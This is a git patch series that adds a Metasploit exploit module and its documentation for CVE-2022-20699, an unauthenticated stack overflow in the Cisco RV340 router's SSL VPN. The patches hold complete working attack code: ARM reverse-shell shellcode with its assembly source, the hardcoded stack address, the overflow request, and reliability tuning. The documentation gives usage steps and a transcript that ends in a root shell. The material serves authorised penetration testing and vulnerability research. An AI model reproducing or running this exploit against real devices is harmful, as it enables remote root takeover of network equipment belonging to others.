From 963a8e7b0de2b1468d84d2bf8a66708d30a8b9c5 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Fri, 11 Feb 2022 16:42:08 +0700 Subject: [PATCH 1/7] add sploit for Cisco RV340 SSL VPN --- .../exploits/linux/misc/cisco_rv340_sslvpn.rb | 152 ++++++++++++++++++ 1 file changed, 152 insertions(+) create mode 100644 modules/exploits/linux/misc/cisco_rv340_sslvpn.rb diff --git a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb new file mode 100644 index 000000000000..d3c1cea65dac --- /dev/null +++ b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Cisco RV340 SSL VPN Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN + functionality. The default SSL VPN configuration is exploitable, with no authentication + required and works over the Internet! + The stack is executable and no ASLR is in place, which makes exploitation easier. + Successful execution of this module results in a reverse root shell. A custom payload is + used as Metasploit does not have ARMLE null free shellcode. + This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon + 2022. For more information check the referenced advisory. + This module has been tested in firmware versions 1.0.03.15 and above and works flawlessly. + Only the RV340 router was tested, but other RV series routers should work out of the box. + }, + 'Author' => [ + 'Pedro Ribeiro ', # Vulnerability discovery and Metasploit module + 'Radek Domanski ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'References' => [ + ['CVE', 'CVE-2022-20699'], + ['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'], + ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'], + ['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'], + ['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'], + ], + 'Arch' => ARCH_ARMLE, + # We actually use our own shellcode because Metasploit doesn't have ARM encoders! + 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' }, + 'Targets' => [ + [ + 'Cisco RV340 Firmware Version <= 1.0.03.24', + { + # Shellcode location on stack (rwx stack, seriously Cisco...) + # The same for all vulnerable firmware versions: 0x704aed98 + 'Shellcode' => "\x98\xed\x4a\x70" + } + ], + ], + 'DisclosureDate' => '2022-02-02', + 'DefaultTarget' => 0 + ) + ) + register_options( + [ + Opt::RPORT(8443), + OptBool.new('SSL', [true, 'Use SSL', true]) + ] + ) + end + + def check + # This should return a string like: + # "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase) + res = send_request_cgi({ 'uri' => '/login.html' }) + if res && res.code == 200 && res.body.include?('Cisco AnyConnect VPN Client') + Exploit::CheckCode::Detected + else + Exploit::CheckCode::Unknown + end + end + + def hex_to_bin(hex) + if (hex.length == 1) || (hex.length == 3) + hex = '0' + hex + end + hex.scan(/../).map { |x| x.hex.chr }.join + end + + def prep_shelly + lport_h = hex_to_bin(lport.to_s(16)) + + lhost_h = '' + datastore['LHOST'].split('.').each do |n| + lhost_h += hex_to_bin(n.to_i.to_s(16)) + end + lhost_h = lhost_h.force_encoding('binary') + + # armle null free reverse shell + shellcode = "\x4f\xf0\x7f\xf5\x6f\xf0\x7f\xf5\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21" \ + "\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0c\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20" \ + "\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a" \ + "\xc2\x71\x05\xb4\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h + + "\x2f\x62\x69\x6e\x2f\x73\x68\x58" + shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode'] + shelly + end + + def sock_get(app_host, app_port) + begin + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp( + { 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 } + ) + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError + sock.close if sock + end + if sock.nil? + fail_with(Failure::Unknown, 'Failed to connect to the chosen application') + end + + # also need to add support for old ciphers + ctx = OpenSSL::SSL::SSLContext.new + ctx.min_version = OpenSSL::SSL::SSL3_VERSION + ctx.security_level = 0 + ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE + s = OpenSSL::SSL::SSLSocket.new(sock, ctx) + s.sync_close = true + s.connect + return s + end + + def exploit + print_status("#{peer} - Pwning #{target.name}") + payload = prep_shelly + begin + sock = sock_get(rhost, rport) + + # We have about 130 chars of space to spend so that everything is aligned in memory. + # Let's dump them in the URL! + # It would be good to add some valid headers with semi random data for proper evasion :D + # + # NOTE: for lhost addresses X.Y.W.Z (length 7, including dots), 130 bytes as padding, 126 otherwise + if datastore['LHOST'].length <= 7 + padding = 130 + else + padding = 126 + end + http = 'POST /' + rand_text_alphanumeric(padding) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n" + + sock.write(http) + sock.write(payload) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") + end + end +end From 99e2cfdab41fc469639ae139425dbc4b9650ed83 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sun, 13 Feb 2022 01:15:10 +0700 Subject: [PATCH 2/7] correct CVE number --- modules/exploits/linux/misc/cisco_rv340_sslvpn.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb index d3c1cea65dac..b0df85a970ca 100644 --- a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb +++ b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb @@ -33,7 +33,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Platform' => 'linux', 'References' => [ - ['CVE', 'CVE-2022-20699'], + ['CVE', '2022-20699'], ['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'], ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'], ['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'], From 5e738309f91092e1a4f4becb71830667cd4ef455 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 14 Feb 2022 02:24:59 +0700 Subject: [PATCH 3/7] add shellcode comment --- .../exploits/linux/misc/cisco_rv340_sslvpn.rb | 70 ++++++++++++++++++- 1 file changed, 69 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb index b0df85a970ca..2891f44864e9 100644 --- a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb +++ b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb @@ -83,6 +83,75 @@ def hex_to_bin(hex) end def prep_shelly + # We need to roll our own shellcode, as Metasploit doesn't have encoders for ARMLE. + # A null free shellcode is needed, as this memory corruption is done through `strcat()` + # + # SHELLCODE_START: + # // Original shellcode from Azeria's blog + # // Expanded and Improved by the Flashback Team + # .global _start + # _start: + # .ARM + # // Clear CPU caches + # dsb + # isb + # add r3, pc, #1 // switch to thumb mode + # bx r3 + # + # .THUMB + # // socket(2, 1, 0) + # mov r0, #2 + # mov r1, #1 + # sub r2, r2 + # mov r7, #200 + # add r7, #81 // r7 = 281 (socket) + # svc #1 // r0 = resultant sockfd + # mov r4, r0 // save sockfd in r4 + # + # // connect(r0, &sockaddr, 16) + # adr r1, struct // pointer to address, port + # strb r2, [r1, #1] // write 0 for AF_INET + # mov r2, #16 + # add r7, #2 // r7 = 283 (connect) + # svc #1 + # + # // dup2(sockfd, 0) + # mov r7, #63 // r7 = 63 (dup2) + # mov r0, r4 // r4 is the saved sockfd + # sub r1, r1 // r1 = 0 (stdin) + # svc #1 + # // dup2(sockfd, 1) + # mov r0, r4 // r4 is the saved sockfd + # mov r1, #1 // r1 = 1 (stdout) + # svc #1 + # // dup2(sockfd, 2) + # mov r0, r4 // r4 is the saved sockfd + # mov r1, #2 // r1 = 2 (stderr) + # svc #1 + # + # // execve("/bin/sh", 0, 0) + # adr r0, binsh + # sub r2, r2 + # sub r1, r1 + # strb r2, [r0, #7] + # push {r0, r2} + # mov r1, sp + # cpy r2, r1 + # mov r7, #11 // r7 = 11 (execve) + # svc #1 + # + # eor r7, r7, r7 + # + # struct: + # .ascii "\x02\xff" // AF_INET 0xff will be NULLed + # .ascii "\x11\x5d" // port number 4445 + # .byte 5,5,5,1 // IP Address + # binsh: + # .ascii "/bin/shX" + # SHELLCODE_END + # + + # The following is used to convert LHOST and LPORT to binary for inclusion in the shellcode lport_h = hex_to_bin(lport.to_s(16)) lhost_h = '' @@ -91,7 +160,6 @@ def prep_shelly end lhost_h = lhost_h.force_encoding('binary') - # armle null free reverse shell shellcode = "\x4f\xf0\x7f\xf5\x6f\xf0\x7f\xf5\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21" \ "\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0c\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20" \ "\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a" \ From 92856e739b902a907dca205d588dd2826c8bd306 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 17 Feb 2022 23:06:53 +0700 Subject: [PATCH 4/7] Fix shellcode so that it works with "0" octets in LHOST IP --- .../exploits/linux/misc/cisco_rv340_sslvpn.rb | 82 ++++++++++++++++--- 1 file changed, 72 insertions(+), 10 deletions(-) diff --git a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb index 2891f44864e9..c1e2493772f0 100644 --- a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb +++ b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb @@ -68,14 +68,15 @@ def check # This should return a string like: # "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase) res = send_request_cgi({ 'uri' => '/login.html' }) - if res && res.code == 200 && res.body.include?('Cisco AnyConnect VPN Client') + if res && res.code == 200 && res.body.include?('The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server') Exploit::CheckCode::Detected else Exploit::CheckCode::Unknown end end - def hex_to_bin(hex) + def hex_to_bin(int) + hex = int.to_s(16) if (hex.length == 1) || (hex.length == 3) hex = '0' + hex end @@ -150,21 +151,82 @@ def prep_shelly # .ascii "/bin/shX" # SHELLCODE_END # + # Since we need to be null free, we have a very specific corner case, for addresses: + # X.0.Y.Z + # X.Y.0.Z + # X.Y.Z.0 + # X.0.0.Y + # X.Y.0.0 + # X.0.Y.0 + # X.0.0.0 + # These will contain a null byte for the each zero in the address. + # + # To fix this we add additional instructions to the shellcode and replace the null byte(s). + # adr r1, struct // pointer to address, port + # strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet) + # adr r1, struct // pointer to address, port + # strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet) + # adr r1, struct // pointer to address, port + # strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet) + # - # The following is used to convert LHOST and LPORT to binary for inclusion in the shellcode - lport_h = hex_to_bin(lport.to_s(16)) - + # The following is used to convert LHOST and LPORT for shellcode inclusion + lport_h = hex_to_bin(lport) lhost_h = '' + jump = 0xc datastore['LHOST'].split('.').each do |n| - lhost_h += hex_to_bin(n.to_i.to_s(16)) + octet = hex_to_bin(n.to_i) + if octet == "\x00" + # Why we do this? Check comments below my fren + jump += 1 + end + lhost_h += octet end lhost_h = lhost_h.force_encoding('binary') + # As part of the shellcode, we need to do: + # adr r1, struct // pointer to address, port + # strb r2, [r1, #1] // write 0 for AF_INET + # + # In order to do the "adr", we need to know where "struct" is. On an unmodified + # shellcode, this is "\x0c\xa1\x4a\x70". + # But if we have one or more null bytes in the LHOST, we need to add more instructions. + # This means the "\x0c", the distance from $pc to "struct, is going to be either + # "\x0d, "\x0e" or "\x0f". + # Long story short, this distance is the jump variable, and we need to calculate it + # properly the more instructions we add. + # + # This is our jump, now calculated with the additional (or not) instructions: + ins = hex_to_bin(jump) + "\xa1\x4a\x70" + jump -= 1 + + # And now we calculate all the null bytes we have, replace them with \xff and add + # the proper jump: + for i in 1..3 do + next unless lhost_h[i] == "\x00" + + ins_add = '' + lhost_h[i] = "\xff" + if i == 1 + # strb r2, [r1, #5] // write 0 for X.0.Y.Z (second octet) + ins_add = "\x4a\x71" + elsif i == 2 + # strb r2, [r1, #6] // write 0 for X.Y.0.Z (third octet) + ins_add = "\x8a\x71" + elsif i == 3 + # strb r2, [r1, #7] // write 0 for X.Y.Z.0 (last octet) + ins_add = "\xca\x71" + end + ins += hex_to_bin(jump) + "\xa1" + ins_add + jump -= 1 + end + ins = ins.force_encoding('binary') + shellcode = "\x4f\xf0\x7f\xf5\x6f\xf0\x7f\xf5\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21" \ - "\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0c\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20" \ - "\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a" \ - "\xc2\x71\x05\xb4\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h + - "\x2f\x62\x69\x6e\x2f\x73\x68\x58" + "\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c" + ins + "\x10\x22\x02\x37\x01\xdf\x3f" \ + "\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06" \ + "\xa0\x92\x1a\x49\x1a\xc2\x71\x05\xb4\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02" \ + "\xff" + lport_h + lhost_h + "\x2f\x62\x69\x6e\x2f\x73\x68\x58" shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode'] shelly end From e1079a587dd9d1d4d0a04eedc511fe1d17448880 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sun, 6 Mar 2022 12:11:57 +0000 Subject: [PATCH 5/7] remove cache flush from shellcode, dont need it --- .../exploits/linux/misc/cisco_rv340_sslvpn.rb | 56 ++++++++++--------- 1 file changed, 29 insertions(+), 27 deletions(-) diff --git a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb index c1e2493772f0..8884f023a501 100644 --- a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb +++ b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb @@ -23,7 +23,8 @@ def initialize(info = {}) used as Metasploit does not have ARMLE null free shellcode. This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon 2022. For more information check the referenced advisory. - This module has been tested in firmware versions 1.0.03.15 and above and works flawlessly. + This module has been tested in firmware versions 1.0.03.15 and above and works with around + 65% reliability. The service restarts automatically so you can keep trying until you pwn it. Only the RV340 router was tested, but other RV series routers should work out of the box. }, 'Author' => [ @@ -47,13 +48,24 @@ def initialize(info = {}) 'Cisco RV340 Firmware Version <= 1.0.03.24', { # Shellcode location on stack (rwx stack, seriously Cisco...) - # The same for all vulnerable firmware versions: 0x704aed98 - 'Shellcode' => "\x98\xed\x4a\x70" + # The same for all vulnerable firmware versions: 0x704aed98 (+ 1 for thumb) + # + # NOTE: this is the shellcode location about 65% of the time. The rest is at + # The remaining 35% will land at 0x704f6d98, causing this sploit will fail. + # There's no way to guess it, but the service will restart again, so let's stick + # with the most common stack address. + 'Shellcode' => "\x99\xed\x4a\x70" } ], ], 'DisclosureDate' => '2022-02-02', - 'DefaultTarget' => 0 + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => CRASH_SERVICE_RESTARTS, + # repeatable... but only works 65% of the time, see comments above + 'Reliability' => REPEATABLE_SESSION, + 'SideEffects' => nil + } ) ) register_options( @@ -92,13 +104,6 @@ def prep_shelly # // Expanded and Improved by the Flashback Team # .global _start # _start: - # .ARM - # // Clear CPU caches - # dsb - # isb - # add r3, pc, #1 // switch to thumb mode - # bx r3 - # # .THUMB # // socket(2, 1, 0) # mov r0, #2 @@ -222,11 +227,11 @@ def prep_shelly end ins = ins.force_encoding('binary') - shellcode = "\x4f\xf0\x7f\xf5\x6f\xf0\x7f\xf5\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21" \ - "\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c" + ins + "\x10\x22\x02\x37\x01\xdf\x3f" \ - "\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06" \ - "\xa0\x92\x1a\x49\x1a\xc2\x71\x05\xb4\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02" \ - "\xff" + lport_h + lhost_h + "\x2f\x62\x69\x6e\x2f\x73\x68\x58" + shellcode = "\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c" + ins + + "\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21" \ + "\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\xc2\x71\x05\xb4" \ + "\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h + + "\x2f\x62\x69\x6e\x2f\x73\x68\x58" shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode'] shelly end @@ -260,18 +265,15 @@ def exploit payload = prep_shelly begin sock = sock_get(rhost, rport) - - # We have about 130 chars of space to spend so that everything is aligned in memory. - # Let's dump them in the URL! - # It would be good to add some valid headers with semi random data for proper evasion :D + # With the base request, our shellcode will be about 0x12a from $sp when we take control. # - # NOTE: for lhost addresses X.Y.W.Z (length 7, including dots), 130 bytes as padding, 126 otherwise - if datastore['LHOST'].length <= 7 - padding = 130 - else - padding = 126 - end - http = 'POST /' + rand_text_alphanumeric(padding) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n" + # But we noticed that by adding more filler in the request we can have better reliability. + # So let's use 0x86 as filler and dump the filler in the URL! This number is arbitrary and + # can be increased / decreased, but we find 0x86 works well. + # (this means our shellcode address in the target definition above is $sp + 0x12a + 0x86) + # + # It would be good to add some valid headers with semi random data for proper evasion :D + http = 'POST /' + rand_text_alphanumeric(0x86) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n" sock.write(http) sock.write(payload) From e0c81089428769c657f50de059ca8e36847aa282 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sun, 6 Mar 2022 23:15:53 +0000 Subject: [PATCH 6/7] add docs for sslvpn module --- .../exploit/linux/misc/cisco_rv340_sslvpn.md | 77 +++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md diff --git a/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md b/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md new file mode 100644 index 000000000000..03ff291e5e17 --- /dev/null +++ b/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md @@ -0,0 +1,77 @@ +## Description + +This module exploits a stack buffer overflow ([CVE-2022-20699](https://nvd.nist.gov/vuln/detail/CVE-2022-20699)) in the [Cisco RV series](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html) routers SSL VPN functionality. The default SSL VPN configuration is exploitable, with no authentication required and works over the Internet as seen in [this video](https://www.youtube.com/watch?v=O1uK_b1Tmts)! + +The stack is executable and no ASLR is in place, which makes exploitation easier. +Successful execution of this module results in a reverse root shell. A custom payload is used as Metasploit does not have ARMLE null free shellcode. +This vulnerability was presented by the [Flashback Team](https://twitter.com/flashbackpwn) in [Pwn2Own Austin 2021](https://www.thezdi.com/blog/2021/11/1/pwn2ownaustin) and [OffensiveCon 2022](https://www.offensivecon.org/speakers/2022/radek-domanski-and-pedro-ribeiro.html). + +This module has been tested in firmware versions 1.0.03.15 and above and works with around 65% reliability. The service restarts automatically so you can keep trying until you pwn it. + +Only the [RV340 router](https://www.cisco.com/c/en/us/products/routers/rv340-dual-gigabit-wan-vpn-router/index.html) was tested, but other RV series routers should work out of the box. + +For more information, check the advisory [here](https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md) and [here](https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md). + + +## Vulnerable Application + +Cisco RV340 Router, firmware versions 1.0.03.24 and below. The bug is fixed in 1.0.03.26 and above. + +## Verification Steps + + 1. Connect to the target on the WAN interface (or provide IP address) + 2. Make sure the SSLVPN service is turned on for the correct WAN interface + 2. Start msfconsole + 3. Do: `use exploits/linux/misc/cisco_rv340_sslvpn.rb` + 4. Set RHOST, RPORT, LHOST and LPORT + 5. Do `check` + 6. Do: `run` + 7. You should get a shell. + +## Options +``` +Module options (exploit/linux/misc/cisco_rv340_sslvpn): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Meta + sploit + RPORT 8443 yes The target port (TCP) + SSL true yes Use SSL + VHOST no HTTP server virtual host + + +Payload options (linux/armle/shell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ARGV0 sh no argv[0] to pass to execve + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + SHELL /bin/sh yes The shell to execute. + + +Exploit target: + + Id Name + -- ---- + 0 Cisco RV340 Firmware Version <= 1.0.03.24 +``` + +## Scenarios +``` +``` +msf6 exploit(linux/misc/cisco_rv340_sslvpn) > check +[*] 5.55.55.62:8443 - The service is running, but could not be validated. +msf6 exploit(linux/misc/cisco_rv340_sslvpn) > exploit + +[*] Started reverse TCP handler on 5.55.55.1:4445 +[*] 5.55.55.62:8443 - 5.55.55.62:8443 - Pwning Cisco RV340 Firmware Version <= 1.0.03.24 +[*] Command shell session 30 opened (5.55.55.1:4445 -> 5.55.55.62:41976 ) at 2022-02-10 20:12:18 +0000 + +id +uid=0(root) gid=0(root) +uname -a +Linux router138486 4.1.8 #2 SMP Fri Oct 22 09:50:26 IST 2021 armv7l GNU/Linux +``` From 68fdb103fef023e8f8fefc0e0cd6a9bc020ef430 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 11 May 2022 09:39:47 -0500 Subject: [PATCH 7/7] Add in final touch ups to documentation to fix a typo or two for formatting. Also update exploit ranking since this exploit doesn't retrieve version information before exploiting and is not 100% reliable so Excellent ranking isn't appropriate --- .../modules/exploit/linux/misc/cisco_rv340_sslvpn.md | 6 ++---- modules/exploits/linux/misc/cisco_rv340_sslvpn.rb | 3 ++- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md b/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md index 03ff291e5e17..6f6279bd86dd 100644 --- a/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md +++ b/documentation/modules/exploit/linux/misc/cisco_rv340_sslvpn.md @@ -10,7 +10,7 @@ This module has been tested in firmware versions 1.0.03.15 and above and works w Only the [RV340 router](https://www.cisco.com/c/en/us/products/routers/rv340-dual-gigabit-wan-vpn-router/index.html) was tested, but other RV series routers should work out of the box. -For more information, check the advisory [here](https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md) and [here](https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md). +For more information, check the advisory [here](https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md) and [here](https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md). ## Vulnerable Application @@ -35,8 +35,7 @@ Module options (exploit/linux/misc/cisco_rv340_sslvpn): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Meta - sploit + RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 8443 yes The target port (TCP) SSL true yes Use SSL VHOST no HTTP server virtual host @@ -61,7 +60,6 @@ Exploit target: ## Scenarios ``` -``` msf6 exploit(linux/misc/cisco_rv340_sslvpn) > check [*] 5.55.55.62:8443 - The service is running, but could not be validated. msf6 exploit(linux/misc/cisco_rv340_sslvpn) > exploit diff --git a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb index 8884f023a501..117184a8e02d 100644 --- a/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb +++ b/modules/exploits/linux/misc/cisco_rv340_sslvpn.rb @@ -4,10 +4,11 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super(